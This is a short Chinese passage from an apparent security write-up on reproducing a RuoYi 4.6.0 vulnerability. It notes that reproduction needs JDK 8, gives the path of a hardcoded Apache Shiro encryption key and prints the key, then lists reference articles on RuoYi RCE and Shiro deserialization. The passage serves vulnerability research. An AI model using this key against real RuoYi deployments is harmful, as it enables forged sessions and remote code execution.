这里需要注意,如果使用的不是 jdk8(例如 jdk17 等) 进行搭建的环境是无法复现该实验的,这是由于 jdk8 以上的版本的反射受到了限制,从而导致无法发现有效的利用链及其回显方式;
漏洞分析 在文件RuoYi-4.6.0\ruoyi-admin\src\main\resources\application.yml
中可以找到 Shiro 中设置的固定加密密钥zSyK5Kp6PZAAjlT+eeNMlg==
详细的漏洞原理请查找相关的 shiro721 的漏洞分析文章;
参考链接
https://www.cnblogs.com/backlion/p/18896463
https://wsyu9a.github.io/blog/2024/03/17/240317%E8%8B%A5%E4%BE%9D%E5%AE%9A%E6%97%B6%E4%BB%BB%E5%8A%A1%E5%88%86%E6%9E%90/
https://blog.takake.com/posts/7219/
https://forum.butian.net/share/4328
https://www.freebuf.com/articles/web/417704.html
https://xz.aliyun.com/news/10405
https://github.com/phith0n/tls_proxy
https://cn-sec.com/archives/4194322.html
https://blog.csdn.net/weixin_43263451/article/details/126543803
https://www.qwesec.com/2025/02/thymeleafSSTI.html
https://www.dalon.top/archives/ruo-yi-ruoyi-4.8.0hou-tai-rce-fu-xian
https://mp.weixin.qq.com/s?__biz=MzkyNTYxNDAwNQ==&mid=2247484714&idx=1&sn=19e40a91e637794253c8691d7ffe40c6&poc_token=HJFNoGij9wzHj2_xpMBIdF0PXd1BqOcZoDkY3gFO